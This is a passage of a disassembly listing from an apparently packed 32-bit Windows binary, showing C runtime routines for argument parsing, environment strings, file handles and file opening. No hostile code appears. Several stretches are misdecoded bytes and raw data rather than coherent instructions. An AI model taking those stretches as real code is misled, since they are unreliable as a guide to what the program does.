XREF: .nsp0:00423015j mov edx, [ebp+14h] inc dword ptr [edx] loc_423024: ; CODE XREF: .nsp0:004230C7j mov dword ptr [ebp+8], 1 xor ebx, ebx loc_42302D: ; CODE XREF: .nsp0:00423034j cmp byte ptr [eax], 5Ch jnz short loc_423036 inc eax inc ebx jmp short loc_42302D ; --------------------------------------------------------------------------- loc_423036: ; CODE XREF: .nsp0:00423030j cmp byte ptr [eax], 22h jnz short loc_423067 test bl, 1 jnz short loc_423065 xor edi, edi cmp [ebp+18h], edi jz short loc_423054 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_423054 mov eax, edx jmp short loc_423057 ; --------------------------------------------------------------------------- loc_423054: ; CODE XREF: .nsp0:00423045j ; .nsp0:0042304Ej mov [ebp+8], edi loc_423057: ; CODE XREF: .nsp0:00423052j mov edi, [ebp+0Ch] xor edx, edx cmp [ebp+18h], edx setz dl mov [ebp+18h], edx loc_423065: ; CODE XREF: .nsp0:0042303Ej shr ebx, 1 loc_423067: ; CODE XREF: .nsp0:00423039j mov edx, ebx dec ebx test edx, edx jz short loc_42307C inc ebx loc_42306F: ; CODE XREF: .nsp0:0042307Aj test esi, esi jz short loc_423077 mov byte ptr [esi], 5Ch inc esi loc_423077: ; CODE XREF: .nsp0:00423071j inc dword ptr [ecx] dec ebx jnz short loc_42306F loc_42307C: ; CODE XREF: .nsp0:0042306Cj mov dl, [eax] test dl, dl jz short loc_4230CC cmp dword ptr [ebp+18h], 0 jnz short loc_423092 cmp dl, 20h jz short loc_4230CC cmp dl, 9 jz short loc_4230CC loc_423092: ; CODE XREF: .nsp0:00423086j cmp dword ptr [ebp+8], 0 jz short loc_4230C6 test esi, esi jz short loc_4230B5 movzx ebx, dl test byte_4E2A61[ebx], 4 jz short loc_4230AE mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_4230AE: ; CODE XREF: .nsp0:004230A6j mov dl, [eax] mov [esi], dl inc esi jmp short loc_4230C4 ; --------------------------------------------------------------------------- loc_4230B5: ; CODE XREF: .nsp0:0042309Aj movzx edx, dl test byte_4E2A61[edx], 4 jz short loc_4230C4 inc eax inc dword ptr [ecx] loc_4230C4: ; CODE XREF: .nsp0:004230B3j ; .nsp0:004230BFj inc dword ptr [ecx] loc_4230C6: ; CODE XREF: .nsp0:00423096j inc eax jmp loc_423024 ; --------------------------------------------------------------------------- loc_4230CC: ; CODE XREF: .nsp0:00423080j ; .nsp0:0042308Bj ... test esi, esi jz short loc_4230D4 and byte ptr [esi], 0 inc esi loc_4230D4: ; CODE XREF: .nsp0:004230CEj inc dword ptr [ecx] jmp loc_422FF2 ; --------------------------------------------------------------------------- loc_4230DB: ; CODE XREF: .nsp0:00422FF5j ; .nsp0:0042300Dj test edi, edi jz short loc_4230E2 and dword ptr [edi], 0 loc_4230E2: ; CODE XREF: .nsp0:004230DDj mov eax, [ebp+14h] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn ; =============== S U B R O U T I N E ======================================= sub_4230EC proc near ; CODE XREF: .nsp0:0041E082p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, dword_4E16D8 push ebx push ebp mov ebp, dword_42703C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_42313A call ebp ; dword_42703C mov esi, eax cmp esi, ebx jz short loc_42311B mov dword_4E16D8, 1 jmp short loc_423143 ; --------------------------------------------------------------------------- loc_42311B: ; CODE XREF: sub_4230EC+21j call dword_427040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz loc_423215 mov dword_4E16D8, 2 jmp loc_4231C9 ; --------------------------------------------------------------------------- loc_42313A: ; CODE XREF: sub_4230EC+19j cmp eax, 1 jnz loc_4231C4 loc_423143: ; CODE XREF: sub_4230EC+2Dj cmp esi, ebx jnz short loc_423153 call ebp ; dword_42703C mov esi, eax cmp esi, ebx jz loc_423215 loc_423153: ; CODE XREF: sub_4230EC+59j cmp [esi], bx mov eax, esi jz short loc_423168 loc_42315A: ; CODE XREF: sub_4230EC+73j ; sub_4230EC+7Aj inc eax inc eax cmp [eax], bx jnz short loc_42315A inc eax inc eax cmp [eax], bx jnz short loc_42315A loc_423168: ; CODE XREF: sub_4230EC+6Cj sub eax, esi mov edi, dword_427180 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; dword_427180 mov ebp, eax cmp ebp, ebx jz short loc_4231B9 push ebp call sub_41BBCB cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_4231B9 push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; dword_427180 test eax, eax jnz short loc_4231B5 push [esp+18h+var_8] call sub_41B961 pop ecx mov [esp+18h+var_8], ebx loc_4231B5: ; CODE XREF: sub_4230EC+B9j mov ebx, [esp+18h+var_8] loc_4231B9: ; CODE XREF: sub_4230EC+99j ; sub_4230EC+A8j push esi call dword_427044 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_423217 ; --------------------------------------------------------------------------- loc_4231C4: ; CODE XREF: sub_4230EC+51j cmp eax, 2 jnz short loc_423215 loc_4231C9: ; CODE XREF: sub_4230EC+49j cmp edi, ebx jnz short loc_4231D9 call dword_427040 ; GetEnvironmentStringsA mov edi, eax cmp edi, ebx jz short loc_423215 loc_4231D9: ; CODE XREF: sub_4230EC+DFj cmp [edi], bl mov eax, edi jz short loc_4231E9 loc_4231DF: ; CODE XREF: sub_4230EC+F6j ; sub_4230EC+FBj inc eax cmp [eax], bl jnz short loc_4231DF inc eax cmp [eax], bl jnz short loc_4231DF loc_4231E9: ; CODE XREF: sub_4230EC+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_41BBCB mov esi, eax pop ecx cmp esi, ebx jnz short loc_4231FF xor esi, esi jmp short loc_42320A ; --------------------------------------------------------------------------- loc_4231FF: ; CODE XREF: sub_4230EC+10Dj push ebp push edi push esi call near ptr sub_41C9B0 add esp, 0Ch loc_42320A: ; CODE XREF: sub_4230EC+111j push edi call near ptr 0B40000h aas mov eax, esi jmp short loc_423217 ; --------------------------------------------------------------------------- loc_423215: ; CODE XREF: sub_4230EC+39j ; sub_4230EC+61j ... xor eax, eax loc_423217: ; CODE XREF: sub_4230EC+D6j ; sub_4230EC+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_4230EC endp ; --------------------------------------------------------------------------- loc_42321E: ; CODE XREF: .nsp0:0041E072p sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_41BBCB mov esi, eax pop ecx test esi, esi jnz short loc_42323E push 1Bh call sub_41E0F9 pop ecx loc_42323E: ; CODE XREF: .nsp0:00423234j mov dword_4E1820, esi mov dword_4E1920, 20h lea eax, [esi+100h] loc_423254: ; CODE XREF: .nsp0:00423270j cmp esi, eax jnb short loc_423272 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov byte ptr [esi+5], 0Ah mov eax, dword_4E1820 add esi, 8 add eax, 100h jmp short loc_423254 ; --------------------------------------------------------------------------- loc_423272: ; CODE XREF: .nsp0:00423256j lea eax, [esp+10h] push eax call near ptr 0B40000h and byte ptr [esi-7Dh], 7Ch and al, 42h add [edi], cl test al, ch ; --------------------------------------------------------------------------- dw 0 dd 24448B00h, 0FC08544h, 0B984h, 8D308B00h, 0B80468h, 3B000008h dd 2E1C8DF0h, 0F08B027Ch, 19203539h, 527D004Eh, 4E1824BFh dd 1006800h, 0CE80000h, 85FFFF89h, 387459C0h, 19200583h dd 8920004Eh, 888D07h, 3B000001h, 801873C1h, 83000460h dd 40C6FF08h, 0F8B0A05h, 8108C083h, 100C1h, 83E4EB00h dd 353904C7h, 4E1920h, 6EBBB7Ch, 1920358Bh, 0FF33004Eh dd 467EF685h, 0F883038Bh, 8A3674FFh, 0C1F6004Dh, 0F62E7401h dd 0B7508C1h, 0CCDEE850h, 85200071h, 8B1E74C0h, 0C1CF8BC7h dd 0E18305F8h, 85048B1Fh, 4E1820h, 8BC8048Dh, 8A08890Bh dd 4888004Dh, 83454704h, 0FE3B04C3h, 0DB33BA7Ch, 4E1820A1h dd 0D83C8300h, 0D8348DFFh, 0DB854D75h, 810446C6h, 0F66A0575h dd 8B0AEB58h, 0D8F748C3h, 0C083C01Bh, 85E850F5h, 4C0071CCh dd 0FF83F88Bh, 571774FFh, 71CC77E8h, 0C085B400h, 0FF250C74h dd 89000000h, 2F8833Eh, 4E800675h, 0FEB4004h, 7503F883h dd 44E800Ah, 8004EB08h, 4380044Eh, 7C03FB83h, 2035FF9Bh dd 0E8004E19h, 71CC40h, 5D5E5F8Ah, 44C4835Bh, 0CCCCCCC3h dd 30324356h, 30304358h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4233D4 proc near ; DATA XREF: .nsp0:0041E00Do ; sub_421EC2+Ao ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi push ebp cld mov ebx, [ebp+arg_4] mov eax, [ebp+arg_0] test dword ptr [eax+4], 6 jnz loc_423474 mov [ebp+var_8], eax mov eax, [ebp+arg_8] mov [ebp+var_4], eax lea eax, [ebp+var_8] mov [ebx-4], eax mov esi, [ebx+0Ch] mov edi, [ebx+8] loc_423407: ; CODE XREF: sub_4233D4+90j cmp esi, 0FFFFFFFFh jz short loc_42346D lea ecx, [esi+esi*2] cmp dword ptr [edi+ecx*4+4], 0 jz short loc_42345B push esi push ebp lea ebp, [ebx+10h] call dword ptr [edi+ecx*4+4] pop ebp pop esi mov ebx, [ebp+arg_4] or eax, eax jz short loc_42345B js short loc_423466 mov edi, [ebx+8] push ebx call sub_41D214 add esp, 4 lea ebp, [ebx+10h] push esi push ebx call sub_41D256 add esp, 8 lea ecx, [esi+esi*2] push 1 mov eax, [edi+ecx*4+8] call sub_41D2EA mov eax, [edi+ecx*4] mov [ebx+0Ch], eax call dword ptr [edi+ecx*4+8] loc_42345B: ; CODE XREF: sub_4233D4+40j ; sub_4233D4+52j mov edi, [ebx+8] lea ecx, [esi+esi*2] mov esi, [edi+ecx*4] jmp short loc_423407 ; --------------------------------------------------------------------------- loc_423466: ; CODE XREF: sub_4233D4+54j mov eax, 0 jmp short loc_423489 ; --------------------------------------------------------------------------- loc_42346D: ; CODE XREF: sub_4233D4+36j mov eax, 1 jmp short loc_423489 ; --------------------------------------------------------------------------- loc_423474: ; CODE XREF: sub_4233D4+18j push ebp lea ebp, [ebx+10h] push 0FFFFFFFFh push ebx call sub_41D256 add esp, 8 pop ebp mov eax, 1 loc_423489: ; CODE XREF: sub_4233D4+97j ; sub_4233D4+9Ej pop ebp pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4233D4 endp ; --------------------------------------------------------------------------- push ebp mov ecx, [esp+8] mov ebp, [ecx] mov eax, [ecx+1Ch] push eax mov eax, [ecx+18h] push eax call sub_41D256 add esp, 8 pop ebp retn 4 ; =============== S U B R O U T I N E ======================================= sub_4234AC proc near ; CODE XREF: sub_41E0F9+9p ; sub_41E11E+9p mov eax, dword_4E1570 cmp eax, 1 jz short loc_4234C3 test eax, eax jnz short locret_4234E4 cmp dword_442554, 1 jnz short locret_4234E4 loc_4234C3: ; CODE XREF: sub_4234AC+8j push 0FCh call sub_4234E5 mov eax, dword_4E16DC pop ecx test eax, eax jz short loc_4234D9 call eax ; dword_4E16DC loc_4234D9: ; CODE XREF: sub_4234AC+29j push 0FFh call sub_4234E5 pop ecx locret_4234E4: ; CODE XREF: sub_4234AC+Cj ; sub_4234AC+15j retn sub_4234AC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234E5 proc near ; CODE XREF: sub_41E0F9+12p ; sub_41E11E+12p ... var_1A4 = byte ptr -1A4h arg_0 = dword ptr 8 arg_B = byte ptr 13h push ebp mov ebp, esp sub esp, 1A4h mov edx, [ebp+arg_0] xor ecx, ecx mov eax, offset dword_442E48 loc_4234F8: ; CODE XREF: sub_4234E5+20j cmp edx, [eax] jz short loc_423507 add eax, 8 inc ecx cmp eax, offset dword_442ED8 jl short loc_4234F8 loc_423507: ; CODE XREF: sub_4234E5+15j push esi mov esi, ecx shl esi, 3 cmp edx, dword_442E48[esi] jnz near ptr loc_423634+1 mov eax, dword_4E1570 cmp eax, 1 jz loc_42360F test eax, eax jnz short loc_423538 cmp dword_442554, 1 jz loc_42360F loc_423538: ; CODE XREF: sub_4234E5+44j cmp edx, 0FCh jz near ptr loc_423634+1 lea eax, [ebp+var_1A4] push 104h push eax push 0 call near ptr 0B40000h sbb al, 85h sal [ebp+arg_B], 8Dh test [esi+edi*8-1], ebx jmp fword ptr [eax+0Ch] ; --------------------------------------------------------------------------- dd 5000427Ch, 0FF8FE3E8h, 8D5959FFh, 0FFFE5C85h, 8D5057FFh dd 0FFFE5CBDh, 830EE8FFh, 5940FFFFh, 763CF883h, 5C858D29h dd 50FFFFFEh, 0FF82FBE8h, 8DF88BFFh, 0FFFE5C85h, 3BE883FFh dd 0F803036Ah, 427C0868h, 0F1E85700h, 83FFFF86h, 858D10C4h dd 0FFFFFF60h, 427BEC68h, 8DE85000h, 8DFFFF8Fh, 0FFFF6085h dd 0E85057FFh, 0FFFF8F90h, 0FF60858Dh, 0E868FFFFh, 5000427Bh dd 0FF8F7FE8h, 4CB6FFFFh, 8D00442Eh, 0FFFF6085h, 6DE850FFh dd 68FFFF8Fh, 12010h, 0FF60858Dh, 0C068FFFFh, 5000427Bh dd 16A4E8h, 2CC48300h db 5Fh, 0EBh, 26h ; --------------------------------------------------------------------------- loc_42360F: ; CODE XREF: sub_4234E5+3Cj ; sub_4234E5+4Dj lea eax, [ebp+arg_0] lea esi, off_442E4C[esi] push 0 push eax push dword ptr [esi] call sub_41B890 pop ecx push eax push dword ptr [esi] push 0FFFFFFF4h call near ptr 0B40000h rcl byte ptr [eax-18h], 1 int 3 ; Trap to Debugger leave jno short $+2 loc_423634: ; CODE XREF: sub_4234E5+2Ej ; sub_4234E5+59j adc ebx, [esi-37h] retn sub_4234E5 endp ; =============== S U B R O U T I N E ======================================= sub_423638 proc near ; CODE XREF: sub_423896:loc_423A0Ep push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_4E1820 loc_423647: ; CODE XREF: sub_423638+48j mov eax, [ecx] test eax, eax jz short loc_423684 lea edx, [eax+100h] loc_423653: ; CODE XREF: sub_423638+28j cmp eax, edx jnb short loc_423673 test byte ptr [eax+4], 1 jz short loc_423662 add eax, 8 jmp short loc_423653 ; --------------------------------------------------------------------------- loc_423662: ; CODE XREF: sub_423638+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4236C7 loc_423673: ; CODE XREF: sub_423638+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_4E1920 jl short loc_423647 jmp short loc_4236C7 ; --------------------------------------------------------------------------- loc_423684: ; CODE XREF: sub_423638+13j mov esi, 100h push esi call sub_41BBCB test eax, eax pop ecx jz short loc_4236C7 add dword_4E1920, 20h lea ecx, ds:4E1820h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_4236AA: ; CODE XREF: sub_423638+88j cmp eax, edx jnb short loc_4236C2 and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_4236AA ; --------------------------------------------------------------------------- loc_4236C2: ; CODE XREF: sub_423638+74j shl edi, 5 mov ebx, edi loc_4236C7: ; CODE XREF: sub_423638+39j ; sub_423638+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_423638 endp ; --------------------------------------------------------------------------- loc_4236CD: ; CODE XREF: sub_423896+1F4p mov eax, [esp+4] push esi cmp eax, dword_4E1920 push edi jnb short loc_42372D mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:4E1820h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_42372D cmp dword_442554, 1 push ebx mov ebx, [esp+14h] jnz short near ptr loc_423722+1 sub eax, 0 jz short loc_42371A dec eax jz short loc_423715 dec eax jnz short near ptr loc_423722+1 push ebx push 0FFFFFFF4h jmp short loc_42371D ; --------------------------------------------------------------------------- loc_423715: ; CODE XREF: .nsp0:0042370Bj push ebx push 0FFFFFFF5h jmp short loc_42371D ; --------------------------------------------------------------------------- loc_42371A: ; CODE XREF: .nsp0:00423708j push ebx push 0FFFFFFF6h loc_42371D: ; CODE XREF: .nsp0:00423713j ; .nsp0:00423718j call near ptr 0B40000h loc_423722: ; CODE XREF: .nsp0:00423703j ; .nsp0:0042370Ej sbb [ebx+301C8907h], cl xor eax, eax pop ebx jmp short loc_423741 ; --------------------------------------------------------------------------- loc_42372D: ; CODE XREF: .nsp0:004236D9j ; .nsp0:004236F5j and dword_4E14FC, 0 mov dword_4E14F8, 9 or eax, 0FFFFFFFFh loc_423741: ; CODE XREF: .nsp0:0042372Bj pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_423744 proc near ; CODE XREF: sub_41E142+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, dword_4E1920 push edi jnb short loc_4237A7 mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:4E1820h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_4237A7 cmp dword ptr [eax], 0FFFFFFFFh jz short loc_4237A7 cmp dword_442554, 1 jnz short loc_42379D xor eax, eax sub ecx, eax jz short loc_423794 dec ecx jz short loc_42378F dec ecx jnz short loc_42379D push eax push 0FFFFFFF4h jmp short loc_423797 ; --------------------------------------------------------------------------- loc_42378F: ; CODE XREF: sub_423744+41j push eax push 0FFFFFFF5h jmp short loc_423797 ; --------------------------------------------------------------------------- loc_423794: ; CODE XREF: sub_423744+3Ej push eax push 0FFFFFFF6h loc_423797: ; CODE XREF: sub_423744+49j ; sub_423744+4Ej call near ptr 0B40000h das loc_42379D: ; CODE XREF: sub_423744+38j ; sub_423744+44j mov eax, [edi] or dword ptr [eax+esi], 0FFFFFFFFh xor eax, eax jmp short loc_4237BB ; --------------------------------------------------------------------------- loc_4237A7: ; CODE XREF: sub_423744+Cj ; sub_423744+2Aj ... and dword_4E14FC, 0 mov dword_4E14F8, 9 or eax, 0FFFFFFFFh loc_4237BB: ; CODE XREF: sub_423744+61j pop edi pop esi retn sub_423744 endp ; =============== S U B R O U T I N E ======================================= sub_4237BE proc near ; CODE XREF: sub_41E142+32p ; sub_41E142+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4E1920 jnb short loc_4237E6 mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4E1820[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_4237E6 mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_4237E6: ; CODE XREF: sub_4237BE+Aj ; sub_4237BE+23j and dword_4E14FC, 0 mov dword_4E14F8, 9 or eax, 0FFFFFFFFh retn sub_4237BE endp ; =============== S U B R O U T I N E ======================================= sub_4237FB proc near ; CODE XREF: sub_41E220+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4E1920 jnb short loc_423844 mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, dword_4E1820[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_423844 push eax call sub_4237BE pop ecx push eax call near ptr 0B40000h sbb [ebp-0F78A40h], al adc eax, offset dword_42708C jmp short loc_42383B ; --------------------------------------------------------------------------- xor eax, eax loc_42383B: ; CODE XREF: sub_4237FB+3Cj test eax, eax jz short locret_423851 mov dword_4E14FC, eax loc_423844: ; CODE XREF: sub_4237FB+Aj ; sub_4237FB+22j mov dword_4E14F8, 9 or eax, 0FFFFFFFFh locret_423851: ; CODE XREF: sub_4237FB+42j retn sub_4237FB endp ; =============== S U B R O U T I N E ======================================= sub_423852 proc near ; CODE XREF: sub_41EEA8+32p ; sub_41F3EF+6Cp ... arg_0 = dword ptr 4 inc dword_4E15C8 push 1000h call sub_41BBCB pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_42387B or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_42388C ; --------------------------------------------------------------------------- loc_42387B: ; CODE XREF: sub_423852+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_42388C: ; CODE XREF: sub_423852+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_423852 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423896 proc near ; CODE XREF: sub_41F192+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_4238BC mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_4238C7 ; --------------------------------------------------------------------------- loc_4238BC: ; CODE XREF: sub_423896+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_4238C7: ; CODE XREF: sub_423896+24j mov eax, 8000h test ecx, eax jnz short loc_4238E1 test ch, 40h jnz short loc_4238DD cmp dword_4E17E8, eax jz short loc_4238E1 loc_4238DD: ; CODE XREF: sub_423896+3Dj or [ebp+var_1], 80h loc_4238E1: ; CODE XREF: sub_423896+38j ; sub_423896+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423919 dec eax jz short loc_423910 dec eax jz short loc_423907 loc_4238F2: ; CODE XREF: sub_423896+9Fj ; sub_423896+E8j ... mov dword_4E14F8, 16h mov dword_4E14FC, ebx jmp loc_423B2C ; --------------------------------------------------------------------------- loc_423907: ; CODE XREF: sub_423896+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423920 ; --------------------------------------------------------------------------- loc_423910: ; CODE XREF: sub_423896+57j mov [ebp+var_C], 40000000h jmp short loc_423920 ; --------------------------------------------------------------------------- loc_423919: ; CODE XREF: sub_423896+54j mov [ebp+var_C], 80000000h loc_423920: ; CODE XREF: sub_423896+78j ; sub_423896+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_42394E cmp eax, 20h jz short loc_423945 cmp eax, 30h jz short loc_42393C cmp eax, 40h jnz short loc_4238F2 mov [ebp+var_10], esi jmp short loc_423951 ; --------------------------------------------------------------------------- loc_42393C: ; CODE XREF: sub_423896+9Aj mov [ebp+var_10], 2 jmp short loc_423951 ; --------------------------------------------------------------------------- loc_423945: ; CODE XREF: sub_423896+95j mov [ebp+var_10], 1 jmp short loc_423951 ; --------------------------------------------------------------------------- loc_42394E: ; CODE XREF: sub_423896+90j mov [ebp+var_10], ebx loc_423951: ; CODE XREF: sub_423896+A4j ; sub_423896+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_42399B jz short loc_423996 cmp ecx, ebx jz short loc_423996 cmp ecx, edi jz short loc_42398D cmp ecx, 200h jz short loc_4239B4 cmp ecx, 300h jnz loc_4238F2 mov [ebp+var_8], 2 jmp short loc_4239C4 ; --------------------------------------------------------------------------- loc_42398D: ; CODE XREF: sub_423896+D8j mov [ebp+var_8], 4 jmp short loc_4239C4 ; --------------------------------------------------------------------------- loc_423996: ; CODE XREF: sub_423896+D0j ; sub_423896+D4j mov [ebp+var_8], esi jmp short loc_4239C4 ; --------------------------------------------------------------------------- loc_42399B: ; CODE XREF: sub_423896+CEj cmp ecx, 500h jz short loc_4239BD cmp ecx, 600h jz short loc_4239B4 cmp ecx, edx jz short loc_4239BD jmp loc_4238F2 ; --------------------------------------------------------------------------- loc_4239B4: ; CODE XREF: sub_423896+E0j ; sub_423896+113j mov [ebp+var_8], 5 jmp short loc_4239C4 ; --------------------------------------------------------------------------- loc_4239BD: ; CODE XREF: sub_423896+10Bj ; sub_423896+117j mov [ebp+var_8], 1 loc_4239C4: ; CODE XREF: sub_423896+F5j ; sub_423896+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_4239E3 mov ecx, dword_4E1500 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_4239E3 push 1 pop esi loc_4239E3: ; CODE XREF: sub_423896+138j ; sub_423896+148j test al, 40h jz short loc_4239F1 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_4239F1: ; CODE XREF: sub_423896+14Fj test ah, 10h jz short loc_4239F8 or esi, edi loc_4239F8: ; CODE XREF: sub_423896+15Ej test al, 20h jz short loc_423A04 or esi, 8000000h jmp short loc_423A0E ; --------------------------------------------------------------------------- loc_423A04: ; CODE XREF: sub_423896+164j test al, 10h jz short loc_423A0E or esi, 10000000h loc_423A0E: ; CODE XREF: sub_423896+16Cj ; sub_423896+170j call sub_423638 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423A2F and dword_4E14FC, 0 mov dword_4E14F8, 18h jmp short loc_423A6D ; --------------------------------------------------------------------------- loc_423A2F: ; CODE XREF: sub_423896+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call dword_4270EC ; CreateFileA mov esi, eax cmp esi, edi jz short loc_423A60 push esi call near ptr 0B40000h rep test eax, eax jnz short loc_423A74 push esi call dword_42706C ; CloseHandle loc_423A60: ; CODE XREF: sub_423896+1B6j call dword_42708C ; RtlGetLastWin32Error push eax call sub_420244 pop ecx loc_423A6D: ; CODE XREF: sub_423896+197j mov eax, edi jmp loc_423B4A ; --------------------------------------------------------------------------- loc_423A74: ; CODE XREF: sub_423896+1C1j cmp eax, 2 jnz short loc_423A7F or [ebp+var_1], 40h jmp short loc_423A88 ; --------------------------------------------------------------------------- loc_423A7F: ; CODE XREF: sub_423896+1E1j cmp eax, 3 jnz short loc_423A88 or [ebp+var_1], 8 loc_423A88: ; CODE XREF: sub_423896+1E7j ; sub_423896+1ECj push esi push ebx call loc_4236CD pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4E1820h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423B31 test al, 80h jz short loc_423B31 test byte ptr [ebp+arg_4], 2 jz short loc_423B31 push 2 push 0FFFFFFFFh push ebx call sub_42261C add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423AE6 cmp dword_4E14FC, 83h jz short loc_423B31 jmp short loc_423B25 ; --------------------------------------------------------------------------- loc_423AE6: ; CODE XREF: sub_423896+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41EF81 add esp, 0Ch test eax, eax jnz short loc_423B13 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423B13 push [ebp+var_10] push ebx call loc_424D36 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423B25 loc_423B13: ; CODE XREF: sub_423896+265j ; sub_423896+26Bj push 0 push 0 push ebx call sub_42261C add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423B31 loc_423B25: ; CODE XREF: sub_423896+24Ej ; sub_423896+27Bj push ebx call sub_41E142 pop ecx loc_423B2C: ; CODE XREF: sub_423896+6Cj or eax, 0FFFFFFFFh jmp short loc_423B4A ; --------------------------------------------------------------------------- loc_423B31: ; CODE XREF: sub_423896+221j ; sub_423896+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423B48 test byte ptr [ebp+arg_4], 8 jz short loc_423B48 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423B48: ; CODE XREF: sub_423896+29Fj ; sub_423896+2A5j mov eax, ebx loc_423B4A: ; CODE XREF: sub_423896+1D9j ; sub_423896+299j pop edi pop esi pop ebx leave retn sub_423896 endp ; --------------------------------------------------------------------------- loc_423B4F: ; CODE XREF: sub_41F37A+5Ep ; .nsp0:0041FFE7p push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C28 push offset sub_4233D4 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp-18h], esp mov eax, dword_4E16E4 xor ebx, ebx cmp eax, ebx jnz short loc_423BBE lea eax, [ebp-1Ch] push eax push 1 pop esi push esi push offset dword_427918 push esi call dword_427020 ; GetStringTypeW test eax, eax jz short loc_423B9C mov eax, esi jmp short loc_423BB9 ; --------------------------------------------------------------------------- loc_423B9C: ; CODE XREF: .nsp0:00423B96j lea eax, [ebp-1Ch] push eax push esi push offset dword_4D10A8 push esi push ebx call near ptr 0B40000h and [ebp-317BF040h], eax ; --------------------------------------------------------------------------- db 0 dd 26A0000h ; --------------------------------------------------------------------------- pop eax loc_423BB9: ; CODE XREF: .nsp0:00423B9Aj mov dword_4E16E4, eax loc_423BBE: ; CODE XREF: 